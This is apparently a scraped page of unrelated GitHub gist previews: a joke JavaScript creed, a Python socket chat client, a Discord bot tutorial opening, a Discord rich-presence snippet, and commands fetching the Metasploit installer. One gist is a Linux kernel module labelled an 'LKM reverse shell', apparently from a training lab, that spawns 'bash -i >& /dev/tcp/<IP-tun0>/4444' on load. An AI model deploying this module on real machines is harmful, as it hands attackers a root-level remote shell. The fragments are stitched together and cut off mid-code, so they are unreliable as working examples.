// This is gist.
var gist = this;
// There are many like it, but this one is mine.
gists //=> [...]
i.owns(gist) //=> true
// It is my life.
gist === life //=> true
// I must master it as I must master my life.
i.mustMaster(gist) && i.mustMaster(i.life) //=> true
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import threading | |
| import socket | |
| alias = input('Choose an alias --> ') | |
| client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| client.connect(('127.0.0.1', 5000)) | |
| def client_receive(): | |
| while True: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| obj-m +=reverse-shell.o | |
| all: | |
| make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules | |
| clean: | |
| make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <linux/kmod.h> | |
| #include <linux/module.h> | |
| MODULE_LICENSE("GPL"); | |
| MODULE_AUTHOR("AttackDefense"); | |
| MODULE_DESCRIPTION("LKM reverse shell module"); | |
| MODULE_VERSION("1.0"); | |
| char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP-tun0>/4444 0>&1", NULL}; | |
| static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; | |
| static int __init reverse_shell_init(void) { | |
| return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); |
Seeking people who made custom discord bots? Liking their really cool commands and have no idea how they did it? Well no need to fear! This simple tutorial will show you how to make a discord bot in no time!
- You will need a Code Editor. I use VSC, some people prefer Sublime Text .
- I will be using Node.js LTS VERSION to run the bot and install the dependencies.
- Understanding of Javascript. If you don't have that then click --> HERE
- Understanding of JSON. If you don't have that then click --> HERE
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pypresence import Presence | |
| import time | |
| client_id = "ID" # Id from the application developer portal | |
| RPC = Presence(client_id) | |
| RPC.connect() | |
| RPC.update(state="Text", | |
| details="Some text", |
sudo apt update
sudo apt dist-upgrade
sudo apt autoremove
cd /tmp
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall